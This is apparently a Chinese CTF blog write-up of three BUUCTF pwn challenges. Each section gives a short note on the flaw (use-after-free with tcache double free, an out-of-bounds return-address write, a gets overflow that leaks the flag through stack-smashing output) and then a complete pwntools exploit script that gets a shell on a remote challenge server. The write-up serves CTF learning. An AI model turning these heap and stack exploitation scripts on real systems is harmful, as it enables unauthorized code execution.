buuctf 2022 3.9

ciscn_2019_es_1

保护机制：

保护全开

漏洞点：

这里指针未清空，存在uaf漏洞。

利用思路：

首先malloc一个size大于0x408的chunk，这样的话

就可以绕过tcache了。

然后free掉，之后再dump一下，就可以泄露main_arena + 96 的地址了

这样就可以获得 libc的基地址 和 free_hook了

利用tcache 的double free漏洞 修改fd指针 然后malloc 这样就可以写入free_hook为

one_gadget了。

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './es_1'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
e = ELF(local_file)
context.arch = e.arch

select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',28724)
    libc = ELF(remote_libc)


se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims			    :r.recvuntil(delims)
uu32    = lambda data               :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64    = lambda data               :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
r.timeout = 1
def one_gadget(filename):
    return map(int, subprocess.check_output([b'one_gadget', b'--raw', filename]).split(b' '))
def dbg(cmd=''):
     gdb.attach(r,cmd)
bss_addr = 0x4080
def add(size,name,call):
    ru(b"choice:")
    sl(b'1')
    ru(b'name')
    sl(str(size).encode())
    ru(b'name:')
    se(name)
    ru(b"compary call:")
    se(call)##0xc
    ru(b"Done!")

def show(index):
    ru(b"choice:")
    sl(b'2')
    ru(b"index:")
    sl(str(index).encode())
    # ru(b"Done!")

def delete(index):
    ru(b"choice:")
    sl(b'3')
    ru(b"index:")
    sl(str(index).encode())
    # ru(b"Done!")

add(0x410,b';/bin/sh\x00',b'1') #0
add(0x10,b';/bin/sh\x00',b'2') #1
add(0x10,b';/bin/sh\x00',b'2') #2
delete(0)
show(0)
ru(b'name:\n')
base = u64(rc(6).ljust(8,b'\x00')) - 0x3ebca0
sys = base + libc.sym['system']
success("libc_addr:" + hex(base))
success("sys_addr: " + hex(sys))
# gadget = 0x4f2c5 0x4f322 0x10a38c
shell = base + 0x4f322
free_hook = base + libc.sym['__free_hook']
delete(1)
delete(1)
add(0x10,p64(free_hook),b'\x00')
add(0x10,p64(shell),b'\x00')
delete(0)

r.interactive()

wustctf2020_name_your_cat:

漏洞点：

存在数组越界，可以直接写入ret_addr

exp:

五次写入，跳出循环，返回shell

from pwn import *

p=remote("node4.buuoj.cn",28477)
#p=process('./wustctf2020_name_your_cat')
elf=ELF('./wustctf2020_name_your_cat')

shell_addr=0x80485cb

p.sendlineafter('Name for which?\n>','1')
p.sendlineafter("Give your name plz: ",'A')

p.sendlineafter('Name for which?\n>','2')
p.sendlineafter("Give your name plz: ",'B')

p.sendlineafter('Name for which?\n>','3')
p.sendlineafter("Give your name plz: ",'C')

p.sendlineafter('Name for which?\n>','4')
p.sendlineafter("Give your name plz: ",'D')

p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))

p.interactive()

wdb2018_guess:

漏洞点：

gets函数存在溢出：

思路：

动态调试，找到argv[0]和输入点的偏移，然后修改argv[0]的值，题目中没有直接给出，所以我们需要再libc中找,这个函数'__environ',这里存了环境变量的值，环境变量保存到栈中，从而得到flag的地址

exp:

#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote('node4.buuoj.cn',29203)
e = ELF("./guess")
p.timeout = 0.5
p.recvuntil(b"Please type your guessing flag")
pl1 = b'a'*(0x128) + p64(e.got['puts'])
p.sendline(pl1)
p.recvuntil(b'stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher("puts",puts_addr)	
base = puts_addr - libc.dump("puts")
print(hex(base))
environ_addr = base + libc.dump('__environ')
pl2 = b"a"*(0x128) + p64(environ_addr)
p.recvuntil(b"Please type your guessing flag")
p.sendline(pl2)
p.recvuntil(b'stack smashing detected ***: ')
flag_addr = u64(p.recv(6).ljust(8,b'\x00')) - 0x168

pl3 = b'a'*(0x128) + p64(flag_addr)
p.recvuntil(b'stack smashing detected ***: ')
p.sendline(pl3)

p.interactive()